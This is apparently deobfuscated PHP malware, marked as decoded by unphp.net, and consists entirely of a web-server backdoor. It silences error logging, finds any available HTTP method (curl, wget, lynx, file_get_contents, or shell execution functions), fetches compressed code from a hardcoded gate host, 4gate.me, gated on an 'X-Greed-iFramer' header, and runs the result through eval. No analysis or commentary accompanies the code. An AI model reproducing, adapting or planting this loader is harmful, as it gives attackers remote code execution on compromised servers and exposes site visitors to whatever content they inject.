/* Decoded by unphp.net */ define('__GI_THIS_FILE__', preg_replace('/\(\d+\)\s*\:\s*eval.*/', '', __FILE__)); @error_reporting(0); @set_time_limit(0); @ini_set('max_execution_time', 0); @ini_set('display_errors', 1); @ini_set('error_log', NULL); @ini_set('log_errors', 0); if (!defined('PHP_EOL')) define('PHP_EOL', " "); function giGetCode () { $httpClient = giGetHttpClient(); if (is_null($httpClient)) return NULL; $httpClient->setCustomHeader(GI_HN_HTTP_USER_AGENT, GI_USER_AGENT); $isCompressedCode = giFunctionAvailable('gzinflate'); if ($httpClient->navigateTo(giGetGateAddr($isCompressedCode))) { $code = trim($httpClient->body); if (strpos($httpClient->headers, GI_GATE_XHEADER) === false || empty($code)) return NULL; if ($isCompressedCode) $code = gzinflate(base64_decode($code)); return trim($code); } return NULL; } function giGetGateAddr ($compress) { $userAgent = ''; if (isset($_SERVER['HTTP_USER_AGENT'])) $userAgent = urlencode($_SERVER['HTTP_USER_AGENT']); return sprintf('%s?compression=%d&user_agent=%s', GI_GATE_URL, $compress, $userAgent); } function giGetHttpClient () { static $clients = array( 'GiCurlPHP', 'GiCurl', 'GiWget', 'GiNativeWrapper', 'GiLynx', ); foreach ($clients as $clientName) { if (@call_user_func(array($clientName, 'isAvailable'))) return new $clientName(); } return NULL; } function giPhpWhich ($cmdName) { if (trim(giPhpExec("which ${cmdName}")) != '') return true; return false; } function giFunctionDisabled ($funcName) { $disabledFuncs = array_map('trim', explode(',', @ini_get('disable_functions'))); foreach ($disabledFuncs as $disabledFunc) if (strcasecmp($disabledFunc, $funcName) == 0) return true; return false; } function giFunctionAvailable ($funcName) { return function_exists($funcName) && !giFunctionDisabled($funcName); } function giPhpExec ($in) { $out = ''; if (giFunctionAvailable('exec')) { @exec($in, $out); $out = @join(PHP_EOL, $out); } elseif (giFunctionAvailable('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (giFunctionAvailable('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (giFunctionAvailable('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, 'r'))) { while(!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; } function giCmdEscape ($arg) { if (is_numeric($arg)) return $arg; return sprintf("'%s'", $arg); } define('GI_GATE_URL', 'http://4gate.me/index.cgi'); define('GI_HTTP_TIMEOUT', 5); define('GI_USER_AGENT', 'GIC/2.0'); define('GI_GATE_XHEADER', 'X-Greed-iFramer: OK'); define('GI_HTTP_DOC_SEP_REGEXP', '/(?: | ){2}/s'); define('GI_HTTP_HEADER_SEP', ': '); define('GI_HTTP_METHOD_GET', 'GET'); define('GI_HTTP_METHOD_POST', 'POST'); define('GI_CMD_ARG_SEP', chr(32)); define('GI_IS_PHP5', version_compare(PHP_VERSION, '5.0.0', '>=')); define('GI_HN_HTTP_USER_AGENT', 'User-Agent'); define('GI_HN_HTTP_REFERER', 'Referer'); define('GI_HN_CONTENT_TYPE', 'Content-Type'); define('GI_HN_CONTENT_LENGTH', 'Content-Length'); class GiHttpClient { var $body, $headers; var $_customHeader = array(); function navigateTo ($url) { exit; } function sendPost ($url, $data) { exit; } function isAvailable () { return false; } function _splitDocument ($content) { if (empty($content) || !preg_match(GI_HTTP_DOC_SEP_REGEXP, $content)) return false; list ($this->headers, $this->body) = preg_split(GI_HTTP_DOC_SEP_REGEXP, $content, 2); return true; } function httpBuildQuery ($data) { if (!is_array($data)) return $data; $query = ''; foreach ($data as $key => $val) $query .= urlencode($key) . '=' . urlencode($val) . '&'; return chop($query, '&'); } function setCustomHeader ($name, $value) { $this->_customHeader[$name] = $value; } function unSetCustomHeader ($headerName) { if (array_key_exists($headerName, $this->_customHeader)) unset($this->_customHeader[$headerName]); } function clearCustomHeader () { $this->_customHeader = array(); } function _glueCustomHeader () { $custmHeaders = ''; foreach ((array)$this->_customHeader as $headerName => $headerValue) $custmHeaders .= trim($headerName) . GI_HTTP_HEADER_SEP . trim($headerValue) . PHP_EOL; return trim($custmHeaders); } function _getCustomHeaderList () { return explode(PHP_EOL, $this->_glueCustomHeader()); } function _checkContent ($content) { if (!$content) return false; if (!$this->_splitDocument($content)) return false; return true; } function close () { $this->body = ''; $this->headers = ''; $this->_customHeader = array(); } } class GiSystemHttpClient extends GiHttpClient { var $_command = ''; var $_utilName; function _clearCmd () { $this->_command = ''; } function _appendRawCmd ($str) { $this->_command .= $str; } function _insertRawCmd ($str) { $this->_command = $str . $this->_command; } function _addCmdParam ($name, $value = '') { $this->_command .= GI_CMD_ARG_SEP . $name; if ($value !== '') $this->_command .= GI_CMD_ARG_SEP. giCmdEscape($value); } function _exec () { return $this->_checkContent(giPhpExec($this->_command)); } function _buildCmdLine () { exit; } function _initCmd () { $this->_clearCmd(); $this->_command = $this->_utilName; } function _addCustomHeaders ($paramName = '--header') { foreach ($this->_getCustomHeaderList() as $header) $this->_addCmdParam($paramName, $header); } function _addUrl ($url) { $this->_appendRawCmd(GI_CMD_ARG_SEP . giCmdEscape($url)); } function navigateTo ($url) { $this->_buildCmdLine(); $this->_addUrl($url); return $this->_exec(); } function close () { parent::close(); $this->_clearCmd(); $this->_utilName = null; } } class GiCurlPHP extends GiHttpClient { var $_ch; function isAvailable () { static $curlFuncs = array('curl_init', 'curl_exec', 'curl_setopt'); foreach ($curlFuncs as $func) if (!giFunctionAvailable($func)) return false; return true; } function GiCurlPHP () { $this->_ch = curl_init(); $this->_init(); } function _setOption ($name, $value) { curl_setopt($this->_ch, $name, $value); } function _init () { $this->_setOption(CURLOPT_HEADER, true); $this->_setOption(CURLOPT_RETURNTRANSFER, true); $this->_setOption(CURLOPT_CONNECTTIMEOUT, GI_HTTP_TIMEOUT); $this->_setOption(CURLOPT_FOLLOWLOCATION, false); } function _curlExec () { $this->_setOption(CURLOPT_HTTPHEADER, !empty($this->_customHeader) ? $this->_getCustomHeaderList() : array() ); return $this->_checkContent(@curl_exec($this->_ch)); } function _setUrl ($url) { $this->_setOption(CURLOPT_URL, $url); } function navigateTo ($url) { $this->_setUrl($url); return $this->_curlExec(); } function sendPost ($url, $data) { $this->_setUrl($url); $this->_setOption(CURLOPT_POST, true); $this->_setOption(CURLOPT_POSTFIELDS, $this->httpBuildQuery($data)); return $this->_curlExec(); } function close () { parent::close(); curl_close($this->_ch); } } class GiNativeWrapper extends GiHttpClient { function isAvailable () { if (!giFunctionAvailable('file_get_contents') || !@ini_get('allow_url_fopen')) return false; return true; } function _phpUserAgentHack ($userAgent) { $userAgent .= PHP_EOL . parent::_glueCustomHeader(); return $userAgent; } function _glueCustomHeader () { if (!empty($this->_customHeader)) { $userAgent = GI_USER_AGENT; $setUsetAgent = false; if (array_key_exists(GI_HN_HTTP_USER_AGENT, $this->_customHeader)) { $setUsetAgent = true; $userAgent = $this->_customHeader[GI_HN_HTTP_USER_AGENT]; unset ($this->_customHeader[GI_HN_HTTP_USER_AGENT]); } @ini_set('user_agent', $this->_phpUserAgentHack($userAgent)); if ($setUsetAgent) $this->_customHeader[GI_HN_HTTP_USER_AGENT] = $userAgent; } if (!GI_IS_PHP5) @ini_set('default_socket_timeout', GI_HTTP_TIMEOUT); } function _fileGetContents ($url, $opts) { if (GI_IS_PHP5) { $context = stream_context_create($opts); $this->body = @file_get_contents($url, NULL, $context); } else { $this->_glueCustomHeader(); $this->body = @file_get_contents($url); } if ($this->body === false || !isSet($http_response_header)) return false; $this->headers = join(PHP_EOL, $http_response_header); return true; } function _buildContextOptions ($method, $additionalOpts = array()) { $opts = array( 'http' => array( 'method' => strtoupper($method), 'header' => parent::_glueCustomHeader() . PHP_EOL, 'timeout' => GI_HTTP_TIMEOUT, ) ); if (version_compare(PHP_VERSION, '5.1.0', '>=')) $opts['http']['max_redirects'] = 0; if (version_compare(PHP_VERSION, '5.3.4', '>=')) $opts['http']['follow_location'] = 0; if (!empty($additionalOpts)) $opts['http'] = array_merge($opts['http'], $additionalOpts); return $opts; } function navigateTo ($url) { $opts = $this->_buildContextOptions(GI_HTTP_METHOD_GET); return $this->_fileGetContents($url, $opts); } function sendPost ($url, $data) { if (!GI_IS_PHP5) return false; $postOpt = array( 'content' => $this->httpBuildQuery($data) ); $opts = $this->_buildContextOptions(GI_HTTP_METHOD_POST, $postOpt); return $this->_fileGetContents($url, $opts); } } define('GI_WGET_UTIL_NAME', 'wget'); class GiWget extends GiSystemHttpClient { function GiWget () { $this->_utilName = GI_WGET_UTIL_NAME; } function _buildCmdLine () { $this->_initCmd(); $this->_addCmdParam('--timeout', GI_HTTP_TIMEOUT); $this->_addCmdParam('--save-headers'); $this->_addCmdParam('--output-document', '-'); $this->_addCmdParam('--max-redirect', 0); if (!empty($this->_customHeader)) $this->_addCustomHeaders(); } function sendPost ($url, $data) { $this->_buildCmdLine(); $this->_addCmdParam('--post-data', $this->httpBuildQuery($data)); $this->_addUrl($url); return $this->_exec(); } function isAvailable () { return giPhpWhich(GI_WGET_UTIL_NAME); } } define('GI_LYNX_UTIL_NAME', 'lynx'); class GiLynx extends GiSystemHttpClient { function GiLynx () { $this->_utilName = GI_LYNX_UTIL_NAME; } function _buildCmdLine () { $this->_initCmd(); $this->_addCmdParam('-source'); $this->_addCmdParam('-mime_header'); $this->_addCmdParam('-noredir'); if (isSet($this->_customHeader[GI_HN_HTTP_USER_AGENT])) $this->_addCmdParam('-useragent', $this->_customHeader[GI_HN_HTTP_USER_AGENT]); } function sendPost ($url, $data) { $this->_buildCmdLine(); $this->_addCmdParam('-post_data'); $this->_insertRawCmd('echo -e \''.$this->httpBuildQuery($data).' --- \' | '); $this->_addUrl($url); return $this->_exec(); } function isAvailable () { return giPhpWhich(GI_LYNX_UTIL_NAME); } } define('GI_CURL_UTIL_NAME', 'curl'); class GiCurl extends GiSystemHttpClient { function GiCurl () { $this->_utilName = GI_CURL_UTIL_NAME; } function _buildCmdLine () { $this->_initCmd(); $this->_addCmdParam('--include'); if (!empty($this->_customHeader)) $this->_addCustomHeaders(); } function sendPost ($url, $data) { $this->_buildCmdLine(); $this->_addCmdParam('--data', $this->httpBuildQuery($data)); $this->_addUrl($url); return $this->_exec(); } function isAvailable () { return giPhpWhich(GI_CURL_UTIL_NAME); } } $giDynamicCode = giGetCode(); if (!empty($giDynamicCode)) eval($giDynamicCode);